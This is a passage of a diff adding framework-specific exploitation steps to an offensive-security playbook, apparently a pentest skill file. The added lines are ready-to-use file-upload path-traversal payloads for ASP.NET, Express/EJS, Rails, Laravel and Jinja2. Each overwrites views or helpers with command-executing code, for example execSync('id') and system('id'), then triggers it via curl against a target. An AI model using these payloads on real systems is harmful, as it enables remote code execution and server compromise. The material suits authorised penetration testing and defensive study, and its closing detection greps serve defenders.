+curl -x localhost:8080 -k "https://target.com/upload" \
+  -F "file=@payload.cshtml;filename=../Views/Shared/Error.cshtml"
+# Trigger: visit any URL that renders the Error view (e.g., cause a 500)
+```
 
-## Validation Steps
-1. Confirm arbitrary write by placing a canary file.
-2. Map the framework's resolution order.
-3. Write a payload into a searched path.
-4. Trigger the code path that resolves or renders that file.
-5. Confirm execution with a benign command, callback, or file creation.
+#### Express.js (EJS/Pug)
+```bash
+# View resolution: views/{name}.ejs
+echo '<%= process.mainModule.require("child_process").execSync("id").toString() %>' > payload.ejs
+curl -x localhost:8080 -k "https://target.com/upload" \
+  -F "file=@payload.ejs;filename=../views/index.ejs"
+# Trigger: visit the route that renders index view
+```
+
+#### Ruby on Rails
+```bash
+# Zeitwerk autoload paths: app/controllers/, app/models/, app/helpers/, lib/
+# Write a controller that executes on load
+echo 'system("id > /tmp/pwned.txt")' > payload.rb
+curl -x localhost:8080 -k "https://target.com/upload" \
+  -F "file=@payload.rb;filename=../../../app/helpers/exploit_helper.rb"
+# Trigger: any request that loads helpers (most routes)
+```
+
+#### Laravel (Blade)
+```bash
+# View resolution: resources/views/{name}.blade.php
+echo '{!! system("id") !!}' > payload.blade.php
+curl -x localhost:8080 -k "https://target.com/upload" \
+  -F "file=@payload.blade.php;filename=../resources/views/welcome.blade.php"
+# Trigger: visit / (default welcome route)
+```
+
+#### Django/Flask (Jinja2)
+```bash
+# Template dirs: templates/
+echo '{{ "".__class__.__mro__[1].__subclasses__() }}' > payload.html
+# Use this to enumerate classes, then find os.popen or subprocess for RCE
+```
+
+### 4. Trigger resolution and verify execution
+```bash
+# Trigger the route that renders the overwritten template
+curl -x localhost:8080 -k "https://target.com/target-route"
+
+# Verify execution via OOB callback or file creation
+curl -x localhost:8080 -k "https://target.com/out.txt"
+```
+
+**Checkpoint:** Confirm execution with a benign command (whoami, id) or OOB callback. Do not proceed with destructive payloads until execution is confirmed.
+
+## Detection Signals
+```bash
+# Error messages disclosing view search paths
+rg "ViewEngine|Could not find view|template not found" http_requests/
+
+# Framework file lookups (if you have strace/procmon access)
+strace -e trace=open,openat -p <pid> 2>&1 | grep -i "views\|templates"
+```
 
 ## Chain With
 - `apache-confusion-attacks`